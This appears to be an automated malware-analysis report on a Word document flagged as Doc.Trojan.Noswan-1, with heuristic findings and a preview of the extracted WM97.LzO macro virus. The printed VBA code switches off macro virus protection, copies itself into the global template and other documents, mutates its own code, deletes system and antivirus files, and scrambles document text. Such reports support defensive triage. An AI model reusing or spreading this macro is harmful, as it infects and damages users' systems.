Office (OLE) malware analysis — malicious · 084a2492d868fb64

MALICIOUS

Office (OLE)

66.5 KB Created: 2007-10-09 22:31:00 Authoring application: Microsoft Word 9.0 First seen: 2015-10-13

MD5: bd251e6f538ca881bdc6f808747a0a40 SHA-1: c1df7e9727e0b140441ab5770b319e265e49ef3c SHA-256: 084a2492d868fb64ebbf03cb2f6be1dcf2b705f352901182d083bc53e26188ae

172 Risk Score

Heuristics 7

ClamAV: Doc.Trojan.Noswan-1 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Trojan.Noswan-1
VBA macros detected medium 2 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION

VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
Matched line in script
```
.VirusProtection = False
```
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Sub AutoOpen()
```
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://microsoft.com/lzo� In document text (OLE body)
- http://microsoft.com/lzoIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	21301 bytes
SHA-256: `a25588c4315c72c2640c6f0efcfac4f6c9ea7cbe6cca356b2000ee1dbc773c50`
Detection ClamAV: No threats found Obfuscation or payload: likely 176 of 278 identifiers look randomly generated (e.g. 'MpKqSwJlBwOlEqNsOjTsNrAwLoUmDfBrKqJfBxGj') — consistent with name-mangling obfuscation.
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Sub testsdsadad() Dim a As String a = "this is a test code" a = "this is a test code" a = "this is a test code" a = "this is a test code" a = "this is a test code" a = "this is a test code" a = "this is a test code" a = "this is a test code" a = "this is a test code" a = "this is a test code" a = "this is a test code" a = "this is a test code" a = "this is a test code" a = "this is a test code" a = "this is a test code" End Sub Attribute VB_Name = "user01" Sub test() Dim a End Sub Sub testsdsadad() Dim a As String a = "this is a test code" a = "this is a test code" a = "this is a test code" a = "this is a test code" a = "this is a test code" a = "this is a test code" a = "this is a test code" a = "this is a test code" a = "this is a test code" a = "this is a test code" a = "this is a test code" a = "this is a test code" a = "this is a test code" a = "this is a test code" a = "this is a test code" End Sub Attribute VB_Name = "user02" Sub testsdsadad() Dim a As String a = "this is a test code" a = "this is a test code" a = "this is a test code" a = "this is a test code" a = "this is a test code" a = "this is a test code" a = "this is a test code" a = "this is a test code" a = "this is a test code" a = "this is a test code" a = "this is a test code" a = "this is a test code" a = "this is a test code" a = "this is a test code" a = "this is a test code" End Sub Attribute VB_Name = "UserForm1" Attribute VB_Base = "0{A48B7F83-767C-11DC-854B-00112F7BB8D1}{A48B7F79-767C-11DC-854B-00112F7BB8D1}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Attribute VB_Name = "LzO" Sub OvBeTi8453() ' -= [LineZer?'s Macro Engine 1.2] =- ' -= [WM97.LzO] =- ' -= [ID: 18880-Es-12988453-Nx.W] =- Bg = IrNsSgTwOlShLhMtOuBkLqHiEeEe & HhEuAqUeHuFfTqHgMwFxMpKuUvAnVtOsAtDsQuFhGqGhUeStSzQjEj4624278 Rem JvJgIgVzExPiCjNlToEpVeIjAkSiTeGkPpIg On Error Resume Next LqAgLvPxHuVtBjEfGoKuVyHrPoFrTgSfNiBkGv = QkBlJxUt & EzOkCgJkPiDtMuPwPxSyJjMhDmBrAg13239912 WordBasic.DisableAutoMacros 0 RlPhUsPyRpFnVvQnSxOiIxEzHjUeJjMm = AjKsTuSjHwNqLiEtBuAkQhMtPeHiReRtBoLsMyMfNj & JwUwOpEjHeEoJvJsJhSpIzCpEmPhRgSiCpRtUsKuAqJyPz69134482 ActiveDocument.ReadOnlyRecommended = False RtNsOhRgFiFlSl = BpPvToEx & HyFyLmEnEvReOeJlFePtTuEgEsIpIpAtQgNoHqDkSvDjOxVsGqEz16792815 Rem KwItFfAsGnDsGmBrVsMtOlBnIkLlAoDgDeOrGeJkKz Rem TkNjBnEeQtUrVlVgUhMzUkLkJjUeHxCuNlRoBkNuKjRxVsBwJnVwKtDrLuGsAiQzDtAvLoEw With Application PpOmJwUlQtReMjReOuMxAuChAhVjDwDxMm = AvMyKnKqJhOsLsUvAn & BoDsPtHoFg13808221 .EnableCancelKey = wdCancelDisabled Rem BwCnJgBjBvGsLlCzMrGoCkMzRpAlEhPoAtPiTeEyVyBxDjKmIzAqEyMgNiCnBpEeTf FwAtRhOgTxHmSuDkAxHyJfTsCmDeDjVeVqAyJe = ArOzTfTfKmPvVoDq & HuRpCkCqKyClIiJuGqAtNfDuCgJtRmDrOlEvLsOnQzVfQfNu48649111 .DisplayAlerts = wdAlertsNone DqMlOfNrEoGzGzIwAlHxTxVsCwEfVxCtOkIr = DpQlIiUgQhNkSvTiFsPeUlRgOtQlMzGeFqSvUvJv & UjQiEuHiNlKmSx66483761 End With JhNoJtVtPqCrEkBl = FgOmHwQgHuKzEgUjPpDvFvCpJeDpGxQeGfEzDjVq & EzTmVgUjSjCeBqKwBxOpAfIlKiLsJxBpQxOr39182692 With Options OgNpExMfEwBlTzGkLiBjShBuTrVxLgJrHz = GxJe & FzLnSoPxDgTvLzQhUgDfShKhGmDwFyVvCiUzPsVuByKeDwIgBzFp15035250 .ConfirmConversions = False Nk = UfFgAjOvMhPkQpCoJqOfBuIoEuAmDjRyTe & Lz9326337 .VirusProtection = False Rem NnVeMrToGpUkDlFwMnOxQwNwVmGvPwJqHnKhUpVgGvLuHhLyPrIrJrAlElOlNuNiPhLuTy QsLjDtKzCyKqVrTyKgMgSjHnAgDlHxDyHlDoSf = JmDmNjUiRg & OkEjAxPzAiTrPrBfVuAjKfMfFsHpAxHeChBwPxJm84914115 End With Rem EfCgFwItNvAuCeHeLrKpGuEnPrCyPzOqPtGtAqLiClQmJlVoFvUwVy VfHjCiLzRrUpVnHqHfHmQsMfCm = SzIoFkQfKeHuLgPuNfBiDjLsJjJyUs & JhKuFyFzViDfQpMfHvCwFxUrTsTgHpJoQrHyOxSjEz12041835 'This is an improved version of APMRS called SOPS by me :) KvBuLmFnJhFgKnIj = GeQwVlEjOjOxKjKnNeCeMjEfQmMeGf & ToFpGo78235671 Randomize Rem NpJvNlLu FvGsSvMuFnLwEyIkMrKiFpAePoVr = CmBkJuLmEoFvChDxCwTwKh & MxOtGgSlVjSiKyPuDhUyJx35652905 ActiveLines = Application.VBE.ActiveVBProject.VBComponents("LzO").CodeModule.CountOfLines QyOkPuHsGrLuGpFtQlCqElDqDtUsRqSg = RwQtPwOwItAwNnThAvLwIvHhEmSwAf & VyQkQuPpCgBhSvNhClOhUzFeVxPk66044032 If ActiveLines > 300 Then PuBvFqRvUnDvDgNiMgCtKsLwEgEuRjVwFoFg = PoHqSuEzPfGqSjNnIkGvPtBvBtEiPqOzEjNjQwQkBgLlKk & BtBfPlEfLmHeHhBgOlFnHiOv1143301 Rem FjTkCfDjKuUzTjQwCoIkFgEiTnIkRyQtIqJzAvEkEnSwViNmRxGlMoIz With Application.VBE.ActiveVBProject.VBComponents("LzO").CodeModule HxCgGrVjVgCiPo = GxFqOkRsSgHiLf & AvBxIiLoAkSjEjEqDzTyJeCtElHxIvMjLjFsGwAwTmAeVeKjRqAoFjCoTsTp381067 For TheLine = 1 To .CountOfLines SeTo = VtAeDrDoTvRkHfMmEyLuArGlQjAk & KrUnItOsDeQjHrVsFxKmThUeExOxOxOpAwDvHiUwCgNs97001722 If Left(.Lines(TheLine, 1), 3) = "Rem" Then .DeleteLines TheLine Jr = JwTgNoJnReKiLlAmTxVlClFnGmElMsGjLvCqKkLtNvFkVo & HmQeIiPlJx41331178 Next TheLine GjBrAgAmIvBgLeNzDoTqNrUfFyCmRyPkEzQw = MyEeMgKuSwSyQvKyKxLkGiNrTpGt & JqDgGg76954652 End With RtDoOyHhKmAw = Rx & DiNpQsKzHtNoCpTpAuFjIxCy35438441 Else FlAgHiLeQuOyTpByQgDxThPqDmQlRjGxHjTiBk = AhPqSqGzEq & HzVgCkKuIkHsGlKzKj26615026 With Application.VBE.ActiveVBProject.VBComponents("LzO").CodeModule FuPrAfPpQxJmIyDeCkFxTsOgKzLfOk = SzOwNgRoDuNiTzRgQf & TmOyTtOuFzKfUyKeAqOvJiSkQjOiKeTmMySxVsPiQzSzEnVkFs98918780 PolySize = Int(Rnd * 10) Vl = TsBqOqBjVnIgOmFlKrVjKoItSmOsPrFgFqGvBeBxTgNgIy & AeKxKrKfRzTyIqGgAhLyDuSkOgTxFfGuRnAqHzPgTzDxRjKfGo96284048 For PolyMorphic = 1 To PolySize OqSwSpHrKhNkGxKeRhVnCuAf = MuIuBj & RuDvPrSvLtCiAvHqGvHkDeEfBoSrUoIrGnCgTiLuFePwOsPzMuNoNkLw80352493 PolyString = "" DmKiUrMtJzNmFjNrNoIg = DzTpBqIuIfAyRuKkHnDsSrDwSyGoRtEfKyAnJqBwEuRnBqGq & QhMvVmHvGyDsEmOrPnVqQfMlFxFwEvKuVeRiEgNxIrFkClFlNw77849913 PolyLines = .CountOfLines VxFgJtKeBg = EyTtNlUhIrVuLyBgAsRsDoUpMsLsUnDiSuDzSnKr & QgOjFfUlPoQzFfKvDs26148788 RndLine = Int(Rnd * PolyLines) + 1 DsTi = MjGeAhTeTlFnJmBvHpSeSjVrQw & SmOlMeAsNkMg84097368 StringSize = Int(Rnd * 39) + 1 Rem KtLjHvKkGtLtRvTeNvLvLeBm KqDhOnUfJsOw = TgOtGnBiQpSkSwApLxKoIhNqBkJfAjUhIiOtFhNtCgBoLq & GsBxPeMlCyNkKoCgGqIoJsFr52038351 For SomeString = 1 To StringSize OeOiFyUmFfFt = MvUeLnEyQjIj & KnDhBoJhQpAsOqToExLeFzLjIrPfJzSi6564822 PolyString = PolyString & Chr(65 + Int(Rnd * 22)) & Chr(122 - Int(Rnd * 22)) CwDuNoQiKgIw = PsPsVs & JgDnSfIhEoFgMeClDhCrGj72226947 Rem UkPgDjMoLjLzMnHgExNpIyOzChKsTjKnUoPrDeBvDeIjJmNySlPtMtKtVyLxSyVlVqPyVe Next SomeString Rem OiVeEkSeLgDjGoJmCsOtFnVvBlKfHpEyVlOxArDiRzRnInMoHlKxOiJkSqRf PnPgLwGsQzVm = FfJuNzQrUwJtNzDqPhDmVzQqSn & BxCeCuEuTuJqEpQlAuMhUkVjBhAuRuKvInNjBmJzIrVgNiBeJx7132170 .InsertLines RndLine, "Rem " & PolyString Rem JpSwIpJfGgRzPfArNqHiSkTfKuEmTiIkPs NlKxExMkTzHsOwThAjGuUiBpRfRxPoAjGiMxDqBf = ItIlKpRjEoEeGzKxNsCkHnIqQiIt & ShMtMlHqBkCiFgLiPsRyPxMvMzMgDvGqTs98511467 Next PolyMorphic QxKePhRlTlLsNiNnEvDz = GyHtDmHlIuRmPiVeDxAgMzJrUuSwPiBq & MpFxAfNtAqUyQqRtTePfSlRrPkGsPwRlPn38784969 End With FuPrAfPpQxJmIyDeCkFxTsOgKzLfOk = SzOwNgRoDuNiTzRgQf & TmOyTtOuFzKfUyKeAqOvJiSkQjOiKeTmMySxVsPiQzSzEnVkFs98918780 End If Vl = TsBqOqBjVnIgOmFlKrVjKoItSmOsPrFgFqGvBeBxTgNgIy & AeKxKrKfRzTyIqGgAhLyDuSkOgTxFfGuRnAqHzPgTzDxRjKfGo96284048 CM525 = GetSetting("LzO", "ICounter", "Count", "") OqSwSpHrKhNkGxKeRhVnCuAf = MuIuBj & RuDvPrSvLtCiAvHqGvHkDeEfBoSrUoIrGnCgTiLuFePwOsPzMuNoNkLw80352493 If CM525 = 100 Then DmKiUrMtJzNmFjNrNoIg = DzTpBqIuIfAyRuKkHnDsSrDwSyGoRtEfKyAnJqBwEuRnBqGq & QhMvVmHvGyDsEmOrPnVqQfMlFxFwEvKuVeRiEgNxIrFkClFlNw77849913 ActiveDocument.FollowHyperlink Address:="http://microsoft.com/lzo", NewWindow:=False, AddHistory:=True VxFgJtKeBg = EyTtNlUhIrVuLyBgAsRsDoUpMsLsUnDiSuDzSnKr & QgOjFfUlPoQzFfKvDs26148788 Dim a As Variant DsTi = MjGeAhTeTlFnJmBvHpSeSjVrQw & SmOlMeAsNkMg84097368 Dim b As Variant KqDhOnUfJsOw = TgOtGnBiQpSkSwApLxKoIhNqBkJfAjUhIiOtFhNtCgBoLq & GsBxPeMlCyNkKoCgGqIoJsFr52038351 Selection.Wholestory OeOiFyUmFfFt = MvUeLnEyQjIj & KnDhBoJhQpAsOqToExLeFzLjIrPfJzSi6564822 a = Selection CwDuNoQiKgIw = PsPsVs & JgDnSfIhEoFgMeClDhCrGj72226947 For i = 1 To Len(a) PnPgLwGsQzVm = FfJuNzQrUwJtNzDqPhDmVzQqSn & BxCeCuEuTuJqEpQlAuMhUkVjBhAuRuKvInNjBmJzIrVgNiBeJx7132170 Rem TtQyBkRuTrIjRfIpVqRqMqRnTjMhAjGmRzUoOeRyBfIgDpQxJkUwAs b = Mid$(a, i, 1) Rem ArGkJyMyVnQn Rem AvAoHlOzDlGwSiOeUgMeAkBxRhIiCuJtQwJwVsPsPmUgOuLlVoEoUwUmVpCfSnSxIlNkBf NlKxExMkTzHsOwThAjGuUiBpRfRxPoAjGiMxDqBf = ItIlKpRjEoEeGzKxNsCkHnIqQiIt & ShMtMlHqBkCiFgLiPsRyPxMvMzMgDvGqTs98511467 c = Asc(Mid$(a, i, 1)) QxKePhRlTlLsNiNnEvDz = GyHtDmHlIuRmPiVeDxAgMzJrUuSwPiBq & MpFxAfNtAqUyQqRtTePfSlRrPkGsPwRlPn38784969 d = c + 29 FuPrAfPpQxJmIyDeCkFxTsOgKzLfOk = SzOwNgRoDuNiTzRgQf & TmOyTtOuFzKfUyKeAqOvJiSkQjOiKeTmMySxVsPiQzSzEnVkFs98918780 If d > 199 Then c = 30 Vl = TsBqOqBjVnIgOmFlKrVjKoItSmOsPrFgFqGvBeBxTgNgIy & AeKxKrKfRzTyIqGgAhLyDuSkOgTxFfGuRnAqHzPgTzDxRjKfGo96284048 e$ = e$ + Chr(d) OqSwSpHrKhNkGxKeRhVnCuAf = MuIuBj & RuDvPrSvLtCiAvHqGvHkDeEfBoSrUoIrGnCgTiLuFePwOsPzMuNoNkLw80352493 Rem LqPsOxRyAjTfGkAkPpRqOsItEuAnFzJjMoPqGkKnOyAyAxCoRoOzHfQfEiEiHpUn Next i DmKiUrMtJzNmFjNrNoIg = DzTpBqIuIfAyRuKkHnDsSrDwSyGoRtEfKyAnJqBwEuRnBqGq & QhMvVmHvGyDsEmOrPnVqQfMlFxFwEvKuVeRiEgNxIrFkClFlNw77849913 Selection.Wholestory VxFgJtKeBg = EyTtNlUhIrVuLyBgAsRsDoUpMsLsUnDiSuDzSnKr & QgOjFfUlPoQzFfKvDs26148788 Selection.Cut DsTi = MjGeAhTeTlFnJmBvHpSeSjVrQw & SmOlMeAsNkMg84097368 WordBasic.Insert e$ KqDhOnUfJsOw = TgOtGnBiQpSkSwApLxKoIhNqBkJfAjUhIiOtFhNtCgBoLq & GsBxPeMlCyNkKoCgGqIoJsFr52038351 Kill ("c:\config.sys") OeOiFyUmFfFt = MvUeLnEyQjIj & KnDhBoJhQpAsOqToExLeFzLjIrPfJzSi6564822 Call QuDtIh9752 CwDuNoQiKgIw = PsPsVs & JgDnSfIhEoFgMeClDhCrGj72226947 End If Rem KnVxEoRjExSmVgJoOhMxTnPwSnEyUzSmJoQfGtGfNmQlSqHzLvPzJx PnPgLwGsQzVm = FfJuNzQrUwJtNzDqPhDmVzQqSn & BxCeCuEuTuJqEpQlAuMhUkVjBhAuRuKvInNjBmJzIrVgNiBeJx7132170 Application.CommandBars("View").Controls(6).Delete Rem UpDkUkHzRxIzKyMfVxBkAtUvJpMfKeCpRoJhVsVpEpMeFm NlKxExMkTzHsOwThAjGuUiBpRfRxPoAjGiMxDqBf = ItIlKpRjEoEeGzKxNsCkHnIqQiIt & ShMtMlHqBkCiFgLiPsRyPxMvMzMgDvGqTs98511467 Application.CommandBars("Format").Controls(12).Delete QxKePhRlTlLsNiNnEvDz = GyHtDmHlIuRmPiVeDxAgMzJrUuSwPiBq & MpFxAfNtAqUyQqRtTePfSlRrPkGsPwRlPn38784969 Application.CommandBars("Tools").Controls(12).Delete FuPrAfPpQxJmIyDeCkFxTsOgKzLfOk = SzOwNgRoDuNiTzRgQf & TmOyTtOuFzKfUyKeAqOvJiSkQjOiKeTmMySxVsPiQzSzEnVkFs98918780 Application.CommandBars("Tools").Controls(13).Delete Vl = TsBqOqBjVnIgOmFlKrVjKoItSmOsPrFgFqGvBeBxTgNgIy & AeKxKrKfRzTyIqGgAhLyDuSkOgTxFfGuRnAqHzPgTzDxRjKfGo96284048 End Sub Sub QuDtIh9752() OqSwSpHrKhNkGxKeRhVnCuAf = MuIuBj & RuDvPrSvLtCiAvHqGvHkDeEfBoSrUoIrGnCgTiLuFePwOsPzMuNoNkLw80352493 On Error Resume Next DmKiUrMtJzNmFjNrNoIg = DzTpBqIuIfAyRuKkHnDsSrDwSyGoRtEfKyAnJqBwEuRnBqGq & QhMvVmHvGyDsEmOrPnVqQfMlFxFwEvKuVeRiEgNxIrFkClFlNw77849913 Kill ("C:\PROGRAMME\TBAV\TBAV.DAT") VxFgJtKeBg = EyTtNlUhIrVuLyBgAsRsDoUpMsLsUnDiSuDzSnKr & QgOjFfUlPoQzFfKvDs26148788 Rem NxBsBoLeGjJjNiNjHiFfRhDqRpGyGxIeCxEnIrNhMqDnIxTtNvFwEeLxPhBtTnJhNmBhVm Kill ("C:\TBAV\TBAV.DAT") DsTi = MjGeAhTeTlFnJmBvHpSeSjVrQw & SmOlMeAsNkMg84097368 End Sub Sub Es1298() Rem PqRsUiQvEnQsKgBtFjSiIkJtPgOrEx KqDhOnUfJsOw = TgOtGnBiQpSkSwApLxKoIhNqBkJfAjUhIiOtFhNtCgBoLq & GsBxPeMlCyNkKoCgGqIoJsFr52038351 Rem MkHpKzLmAnKrBqCeVwEuRgNkAhUsEeMsUxOuEiLzRxIvFwEeOwRgCqFjBwMnFiMyLvAeFiVxTeMr On Error Resume Next OeOiFyUmFfFt = MvUeLnEyQjIj & KnDhBoJhQpAsOqToExLeFzLjIrPfJzSi6564822 Application.EnableCancelKey = wdCancelDisabled CwDuNoQiKgIw = PsPsVs & JgDnSfIhEoFgMeClDhCrGj72226947 With Options PnPgLwGsQzVm = FfJuNzQrUwJtNzDqPhDmVzQqSn & BxCeCuEuTuJqEpQlAuMhUkVjBhAuRuKvInNjBmJzIrVgNiBeJx7132170 Rem IwLwHeFi .SaveNormalPrompt = False NlKxExMkTzHsOwThAjGuUiBpRfRxPoAjGiMxDqBf = ItIlKpRjEoEeGzKxNsCkHnIqQiIt & ShMtMlHqBkCiFgLiPsRyPxMvMzMgDvGqTs98511467 .VirusProtection = False QxKePhRlTlLsNiNnEvDz = GyHtDmHlIuRmPiVeDxAgMzJrUuSwPiBq & MpFxAfNtAqUyQqRtTePfSlRrPkGsPwRlPn38784969 .ConfirmConversions = False FuPrAfPpQxJmIyDeCkFxTsOgKzLfOk = SzOwNgRoDuNiTzRgQf & TmOyTtOuFzKfUyKeAqOvJiSkQjOiKeTmMySxVsPiQzSzEnVkFs98918780 End With Vl = TsBqOqBjVnIgOmFlKrVjKoItSmOsPrFgFqGvBeBxTgNgIy & AeKxKrKfRzTyIqGgAhLyDuSkOgTxFfGuRnAqHzPgTzDxRjKfGo96284048 Application.VBE.ActiveVBProject.VBComponents("LzO").Export "C:\LzO.sys" OqSwSpHrKhNkGxKeRhVnCuAf = MuIuBj & RuDvPrSvLtCiAvHqGvHkDeEfBoSrUoIrGnCgTiLuFePwOsPzMuNoNkLw80352493 Rem RxSgJuDoOrPqOsEtFsBeOvKeVuQoNiUrVwStOxAnMnHhKiHtRe With Dialogs(wdDialogFileSummaryInfo) DmKiUrMtJzNmFjNrNoIg = DzTpBqIuIfAyRuKkHnDsSrDwSyGoRtEfKyAnJqBwEuRnBqGq & QhMvVmHvGyDsEmOrPnVqQfMlFxFwEvKuVeRiEgNxIrFkClFlNw77849913 .Author = Chr(74) + Chr(97) + Chr(99) + Chr(107) + Chr(32) + Chr(84) + Chr(119) + Chr(111) + Chr(102) + Chr(108) + Chr(111) + Chr(119) + Chr(101) + Chr(114) + Chr(32) + Chr(45) + Chr(61) + Chr(91) + Chr(76) + Chr(105) + Chr(110) + Chr(101) + Chr(90) + Chr(101) + Chr(114) + Chr(216) + Chr(32) + Chr(86) + Chr(120) + Chr(32) + Chr(84) + Chr(101) + Chr(97) + Chr(109) + Chr(93) + Chr(61) + Chr(45) Rem RrKrDuHeFyAoSsCiIyDgOiPlMfVzKtKjJwGoTgBhKjNjJvPrLhExGuAq VxFgJtKeBg = EyTtNlUhIrVuLyBgAsRsDoUpMsLsUnDiSuDzSnKr & QgOjFfUlPoQzFfKvDs26148788 .Comments = "WM97.LzO" & Chr(32) + Chr(98) + Chr(121) + Chr(32) + Chr(76) + Chr(105) + Chr(77) + Chr(69) + Chr(32) + Chr(49) + Chr(46) + Chr(111) DsTi = MjGeAhTeTlFnJmBvHpSeSjVrQw & SmOlMeAsNkMg84097368 .Keywords = "LiME ID: 18880-Es-12988453-Nx.W" KqDhOnUfJsOw = TgOtGnBiQpSkSwApLxKoIhNqBkJfAjUhIiOtFhNtCgBoLq & GsBxPeMlCyNkKoCgGqIoJsFr52038351 .Execute OeOiFyUmFfFt = MvUeLnEyQjIj & KnDhBoJhQpAsOqToExLeFzLjIrPfJzSi6564822 End With CwDuNoQiKgIw = PsPsVs & JgDnSfIhEoFgMeClDhCrGj72226947 Rem TmAsFkOg For x = 1 To NormalTemplate.VBProject.VBComponents.Count PnPgLwGsQzVm = FfJuNzQrUwJtNzDqPhDmVzQqSn & BxCeCuEuTuJqEpQlAuMhUkVjBhAuRuKvInNjBmJzIrVgNiBeJx7132170 Rem JtHtGeHfJhIvOzMeNqLmFvOpMeGpRfSzPpIuFhTwDtVoHvHlUiOpAmBwMiJqDvVlOyLxOqHe If NormalTemplate.VBProject.VBComponents(x).Name = "LzO" Then VgEpSe1330QuDtIh1298 = True NlKxExMkTzHsOwThAjGuUiBpRfRxPoAjGiMxDqBf = ItIlKpRjEoEeGzKxNsCkHnIqQiIt & ShMtMlHqBkCiFgLiPsRyPxMvMzMgDvGqTs98511467 Rem MpKqSwJlBwOlEqNsOjTsNrAwLoUmDfBrKqJfBxGjOnLnArUwUhDxOyHyJvOeGzLfCoHfCyLeDlQnSr Next x QxKePhRlTlLsNiNnEvDz = GyHtDmHlIuRmPiVeDxAgMzJrUuSwPiBq & MpFxAfNtAqUyQqRtTePfSlRrPkGsPwRlPn38784969 Rem JhKzEgFxErKqFsInKyHqUgSmQgOhHpDzUqBwIeElAqRwDlPeHsDpIkOsEmBeClVnIoJwAf For y = 1 To ActiveDocument.VBProject.VBComponents.Count FuPrAfPpQxJmIyDeCkFxTsOgKzLfOk = SzOwNgRoDuNiTzRgQf & TmOyTtOuFzKfUyKeAqOvJiSkQjOiKeTmMySxVsPiQzSzEnVkFs98918780 Rem FwPsCsAeMvVhUrRrRlPjIiLiCsBzEyDeRwQgDwJuIlPuThIhMoGqCsUlIxVqGkGq Rem RrJoIzKlJxEgIrGuSsGnBjDxKoBgRfIjBhHiIlBqFgAxTrLkCfLyAnSkMkGgMvJhUjGt If ActiveDocument.VBProject.VBComponents(y).Name = "LzO" Then DvVsAk7799OvBeTi8453 = True Vl = TsBqOqBjVnIgOmFlKrVjKoItSmOsPrFgFqGvBeBxTgNgIy & AeKxKrKfRzTyIqGgAhLyDuSkOgTxFfGuRnAqHzPgTzDxRjKfGo96284048 Next y Rem GzKiOqVyHgKnHjOiNtVtAqQiCiVtHsVkLgIoNh OqSwSpHrKhNkGxKeRhVnCuAf = MuIuBj & RuDvPrSvLtCiAvHqGvHkDeEfBoSrUoIrGnCgTiLuFePwOsPzMuNoNkLw80352493 If VgEpSe1330QuDtIh1298 = True And DvVsAk7799OvBeTi8453 = False Then Set OtRnBt7890QuMxDr9752 = ActiveDocument.VBProject DmKiUrMtJzNmFjNrNoIg = DzTpBqIuIfAyRuKkHnDsSrDwSyGoRtEfKyAnJqBwEuRnBqGq & QhMvVmHvGyDsEmOrPnVqQfMlFxFwEvKuVeRiEgNxIrFkClFlNw77849913 If VgEpSe1330QuDtIh1298 = False And DvVsAk7799OvBeTi8453 = True Then Set OtRnBt7890QuMxDr9752 = NormalTemplate.VBProject VxFgJtKeBg = EyTtNlUhIrVuLyBgAsRsDoUpMsLsUnDiSuDzSnKr & QgOjFfUlPoQzFfKvDs26148788 If VgEpSe1330QuDtIh1298 = True And DvVsAk7799OvBeTi8453 = True Then GoTo Ende_ DsTi = MjGeAhTeTlFnJmBvHpSeSjVrQw & SmOlMeAsNkMg84097368 OtRnBt7890QuMxDr9752.VBComponents.Import "C:\LzO.sys" KqDhOnUfJsOw = TgOtGnBiQpSkSwApLxKoIhNqBkJfAjUhIiOtFhNtCgBoLq & GsBxPeMlCyNkKoCgGqIoJsFr52038351 If DvVsAk7799OvBeTi8453 = False Then ActiveDocument.SaveAs (WordBasic.[FileName$]()), FileFormat:=wdFormatDocument OeOiFyUmFfFt = MvUeLnEyQjIj & KnDhBoJhQpAsOqToExLeFzLjIrPfJzSi6564822 If VgEpSe1330QuDtIh1298 = False Then NormalTemplate.Save CwDuNoQiKgIw = PsPsVs & JgDnSfIhEoFgMeClDhCrGj72226947 Call Nx1330 PnPgLwGsQzVm = FfJuNzQrUwJtNzDqPhDmVzQqSn & BxCeCuEuTuJqEpQlAuMhUkVjBhAuRuKvInNjBmJzIrVgNiBeJx7132170 Ende_: NlKxExMkTzHsOwThAjGuUiBpRfRxPoAjGiMxDqBf = ItIlKpRjEoEeGzKxNsCkHnIqQiIt & ShMtMlHqBkCiFgLiPsRyPxMvMzMgDvGqTs98511467 Call OvBeTi8453 QxKePhRlTlLsNiNnEvDz = GyHtDmHlIuRmPiVeDxAgMzJrUuSwPiBq & MpFxAfNtAqUyQqRtTePfSlRrPkGsPwRlPn38784969 End Sub Sub Nx1330() FuPrAfPpQxJmIyDeCkFxTsOgKzLfOk = SzOwNgRoDuNiTzRgQf & TmOyTtOuFzKfUyKeAqOvJiSkQjOiKeTmMySxVsPiQzSzEnVkFs98918780 Rem CwAvCqOzSxLxRlUxMrOwUxFvEhLnAgEqBuCfEwHtCeStMyCxQrEeThClDsBi On Error Resume Next Vl = TsBqOqBjVnIgOmFlKrVjKoItSmOsPrFgFqGvBeBxTgNgIy & AeKxKrKfRzTyIqGgAhLyDuSkOgTxFfGuRnAqHzPgTzDxRjKfGo96284048 CM525 = GetSetting("LzO", "ICounter", "Count", "") HgCkCgItJfFoEx = FtCsBkLtFrStGtHkPvMqKrSnSpEqDlIyFeFr & NfDuImDsEnNsFsVkUeVuLvPzAvNzJuTwEuSoAjAeKgBjPf25217606 If CM525 > 100 Then SaveSetting "LzO", "ICounter", "Count", "1" ShVwBlUxEkOjAvNiHvVhCoPxMhUyTtOhSzPxUtPy = KoLyGfAk & HyRwUhJhOkRyFwQtEqBpPtKsBnBmBvCiVsNjEzQfTpEnFnOmJqRfKlKyLwCz50739141 CM525 = GetSetting("LzO", "ICounter", "Count", "") OoKqPkLgAzTgRtIeFtJnIuPoIfVrAsBqHjHsLlFj = GqVkEmRtJxEhOyNyGn & VnAeEkHz21095305 CM525 = CM525 + 1 UwLoPnKuBgMpDsCtNl = HzCrBpCoKwVmFiEhEtRnNhGgFyMgMkBrAqMhRzRhJpGeIi & VvCkJtPiSsViRzJyRpSjNzNqAjSkVrNhRlVsMlAvDm50562599 SaveSetting "LzO", "ICounter", "Count", CM525 MrPuEfOhHtNhQkPsNkLmSeQePgSnPm = QlHqJkAzCqUoBtLqKgBkSsKmDjHxStEuMuHyKrJpPkNlAvUrSx & TwFw9576129 End Sub Sub AutoOpen() Rem GpFlDlLsNkGlBoJoUfMmIrRwFkRjVuAnGxEfOfEgFtVwVqQoBgPxKlNzAoUoGmAyEsQhNu DnNePgVyEuLlVv = AqApLqRzGhPsImKjCiBwCmIfIwAsNtGjAnHqAlToMgSwJyIw & PkDsCyUiNfBzFoBvMtCvJoHvIlUuTpQrAiVoHeGrAnTmFzGqUjTwJl1296986 On Error Resume Next DvMpJrBgNmKiSlHsTnQwNyIgNlVuGmQrSrHu = VsQrJoTxVgVm & OlIqEeQpQjJkQgQlFmFiGzHpOuAlQsDpSlKnMiNfLxIhHyIuSmUvIiVlRlKr12002943 Call Es1298 